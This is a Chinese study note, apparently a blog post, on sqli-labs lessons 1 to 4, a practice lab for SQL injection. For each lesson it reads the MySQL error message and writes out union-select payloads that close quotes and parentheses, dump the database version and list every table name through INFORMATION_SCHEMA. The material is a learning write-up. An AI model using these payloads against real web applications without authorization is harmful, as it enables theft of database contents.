sqli-labs学习笔记

less-1~4:

都有回显,且回显信息中包含了数据库中的信息。

Less-1:

有回显,输入单引号报错。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

根据报错信息我们可以知道,输入的ID是字符定义的,然后测试查询时有几个字段, 用union查询,经测试有3段,且2,3段会展示用户名和密码

然后构造注入语句:/?id=' union  select 1,@@version,3 -- a

可以成功看到版本,后续可以得到库名、表名等。

例:/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a

可以得到所有表名。。

Less-2:

同样的有回显,输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

根据报错信息,得知这里的ID不是字符型了,应该是整数型,构造注入:

/?id=1 and 1=2 union select  1,@@version,3 -- a


sqli-labs学习笔记_第1张图片

Less-3:

输入“ ‘ ”报错, You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3 -- a') LIMIT 0,1' at line 1

根据报错,有一个“)”,我们猜测这里的SQL语句应该加了()干扰,所以闭合括号和单引号,构造注入:/?id=') union select  1,@@version,3 --  a得到结果:


sqli-labs学习笔记_第2张图片

Less-4:

这道题试了单引号不会报错,输入反斜杠,反斜杠转移了后面的引号,导致引号不能闭合,报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"\") LIMIT 0,1' at line 1

根据报错信息,这里用的双引号,而且在报错信息中我们发现神奇的括号,想到第三题,这题应该也加了括号干扰,所以接下来就是闭合他们然后union select啦

构造注入:/?id=") union select  1,@@version,3 --  a


sqli-labs学习笔记_第3张图片

你可能感兴趣的:(sqli-labs学习笔记)